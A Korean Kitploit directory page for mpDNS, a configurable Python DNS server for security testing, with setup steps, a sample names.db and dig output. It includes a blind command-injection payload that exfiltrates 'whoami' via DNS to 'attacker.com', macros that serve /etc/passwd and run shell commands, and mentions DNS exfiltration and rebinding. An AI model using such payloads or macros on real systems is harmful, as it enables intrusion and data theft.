Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
mpDNS — 다목적 DNS 서버 | Kitploit
도구/GitHubGitHub/nopernik/mpdns
Scripting & AutomationData ExfiltrationInformation GatheringWeb SecurityMalware AnalysisPenetration TestingRed TeamingDNS Analysis
GitHubnopernik/mpdns

mpDNS

다목적 DNS 서버

저장소 보기
144201년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

mpDNS 일명 다목적 DNS 서버

간단하고 설정 가능한 여러 유용한 기능을 갖춘 DNS 서버

  • Python 3
  • names.db -> 모든 사용자 정의 레코드 보관 (예제 참조)
  • *.example.com 같은 간단한 와일드카드
  • 유니코드 DNS 요청 포착
  • 사용자 정의 작업(일명 매크로):
    • {{shellexec::dig google.com +short}} -> 셸 명령을 실행하고 결과로 응답
    • {{eval::res = '1.1.1.%d' % random.randint(0,256)}} -> Python 코드 평가
    • {{file::/etc/passwd}} -> 로컬 파일 내용으로 응답
    • {{filelist::/somefile.list}} -> 여러 결과를 한 줄씩 응답
    • {{resolve}} -> DNS 요청을 로컬 시스템 DNS로 전달
    • {{resolve::example.com}} -> 원래 레코드 대신 example.com을 해석
    • {{echo}} -> 피어 주소로 응답 반환
    • {{shellexec::echo %PEER% %QUERY% %QUERYTYPE%}} -> 변수 사용
  • 자세한 내용은 names.db.example 참조

다음을 기반으로 함: https://github.com/circuits/circuits/blob/master/examples/dnsserver.py

빠른 시작

root@kitploit:~
git clone https://github.com/nopernik/mpDNS
cd ./mpDNS
pip install -r requirements.txt
touch names.db

이제 names.db.example을 기반으로 names.db에 DNS 레코드를 채울 준비가 되었습니다.

사용법: ./mpdns.py

  • names.db를 생성하세요. names.db.example 참조
  • ./mpdns.py -e로 names.db의 DNS 레코드를 편집하세요. 재시작 불필요

공격 및 방어 목적:

  1. 테스트 목적의 가볍고 간단한 DNS 서버 솔루션이 필요합니다 (프로덕션용 아님!)
  2. 웹 애플리케이션에서 다양한 블라인드 인젝션 취약점 테스트 (예: /ping.php?ip=$(dig $(whoami).attacker.com))
  3. 단일 TXT 쿼리로 65K 데이터를 쉽게 유출
  4. DNS 리바인딩
  5. 특정 쿼리에서 사용자 정의 매크로 액션 실행 (악성코드 분석 랩 환경에서 유용)
  6. 그 외에도 많습니다. 매우 사용자 정의가 가능합니다.

제한 사항

  1. UDP 데이터그램 제한 65535바이트로 인해 DNS 응답은 약 ~65200바이트로 제한됩니다
    이 제한은 TXT 레코드에 적용되며, 256바이트 청크로 분할되어 응답이 최대 허용 65200바이트에 도달할 때까지 계속됩니다
    따라서 {{file:localfile.txt}} 매크로가 포함된 TXT 레코드는 65200바이트로 제한됩니다.
  2. 중첩 와일드카드 test.*.example.com 지원 안 함
  3. {{resolve::example.com}} 매크로에서 사용자 정의 DNS 서버 리졸버 지원 안 함
  4. TTL 항상 0으로 설정

예제

names.db 예제:

root@kitploit:~
# Empty configuration will result in empty but valid responses
#
# Unicode domain names are not supported but still can be catched by the server.
# for example мама-сервер-unicode.google.com will be catched but with SERVFAIL response

passwd.example.com	TXT     {{file::/etc/passwd}}  #comments are ignored
shellexec			TXT     {{shellexec::whoami}}
eval				TXT     {{eval::import random; res = random.randint(1,500)}}
resolve1			A       {{resolve}}
resolve2			A       {{resolve::self}}      #same as previous
resolve3			A       {{resolve::example.com}}
blabla.com			A       5.5.5.5

*					A       127.0.0.1
*.example.com		A		7.7.7.7
c1.example.com		CNAME	c2.example.com
c2.example.com		CNAME	c3.example.com
c3.example.com		CNAME	google.example.com
google.example.com	CNAME	google.com
test.example.com	A		8.8.8.8
google.com			A		{{resolve::self}}
notgoogle.com		A		{{resolve::google.com}}

names.db 예제를 사용한 출력 예시:

DB에서 일반 해석: dig test.example.com @localhost

root@kitploit:~
;; ANSWER SECTION:
test.example.com.	0	IN	A	8.8.8.8

mpDNS 출력: - Request from 127.0.0.1:57698 -> test.example.com. -> 8.8.8.8 (A)


재귀적 CNAME 해석: dig c1.example.com @localhost

root@kitploit:~
;; QUESTION SECTION:
;c1.example.com.			IN	A

;; ANSWER SECTION:
c1.example.com.		0	IN	CNAME	c2.example.com.
c2.example.com.		0	IN	CNAME	c3.example.com.
c3.example.com.		0	IN	CNAME	google.example.com.
google.example.com.	0	IN	CNAME	google.com.
google.com.		0	IN	A	216.58.206.14

mpDNS 출력:

root@kitploit:~
- Request from 127.0.0.1:44120      -> c1.example.com.		-> c2.example.com (CNAME)
- Request from 127.0.0.1:44120      -> c2.example.com		-> c3.example.com (CNAME)
- Request from 127.0.0.1:44120      -> c3.example.com		-> google.example.com (CNAME)
- Request from 127.0.0.1:44120      -> google.example.com	-> google.com (CNAME)
- Request from 127.0.0.1:44120      -> google.com			-> {{resolve::self}} (A)

와일드카드 해석: dig not-in-db.com @localhost

root@kitploit:~
;; ANSWER SECTION:
not-in-db.com.		0	IN	A	127.0.0.1

mpDNS 출력: - Request from 127.0.0.1:38528 -> not-in-db.com. -> 127.0.0.1 (A)


와일드카드 서브도메인 해석: dig wildcard.example.com @localhost

root@kitploit:~
;; ANSWER SECTION:
wildcard.example.com.	0	IN	A	7.7.7.7

mpDNS 출력: - Request from 127.0.0.1:39691 -> wildcard.example.com. -> 7.7.7.7 (A)


전달 요청 매크로: dig google.com @localhost

root@kitploit:~
;; ANSWER SECTION:
google.com.		0	IN	A	172.217.22.110

mpDNS 출력: - Request from 127.0.0.1:53487 -> google.com. -> {{resolve::self}} (A)


사용자 정의 도메인 전달 요청 매크로: dig notgoogle.com @localhost

root@kitploit:~
;; ANSWER SECTION:
notgoogle.com.		0	IN	A	172.217.22.110

mpDNS 출력: - Request from 127.0.0.1:47797 -> notgoogle.com. -> {{resolve::google.com}} (A)


TXT 쿼리를 통한 파일 내용 매크로: dig txt passwd.example.com @localhost

root@kitploit:~
;; ANSWER SECTION:
passwd.example.com.	0	IN	TXT	"root:x:0:0:root:/root:/bin/bash\010daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\010bin:x:2:2:bin:......stripped"

mpDNS 출력: - Request from 127.0.0.1:38805 -> passwd.example.com. -> ['root:x:0:0:root...(2808)'] (TXT)


TXT 쿼리를 통한 사용자 정의 파이썬 코드 매크로: dig txt eval @localhost

root@kitploit:~
;; ANSWER SECTION:
eval.			0	IN	TXT	"320"

mpDNS 출력: - Request from 127.0.0.1:33821 -> eval. -> ['320'] (TXT)


TXT 쿼리를 통한 셸 명령 매크로: dig txt shellexec @localhost

root@kitploit:~
;; ANSWER SECTION:
shellexec.		0	IN	TXT	"root"

mpDNS 출력: - Request from 127.0.0.1:50262 -> shellexec. -> ['root'] (TXT)


즐기세요!

도구 다운로드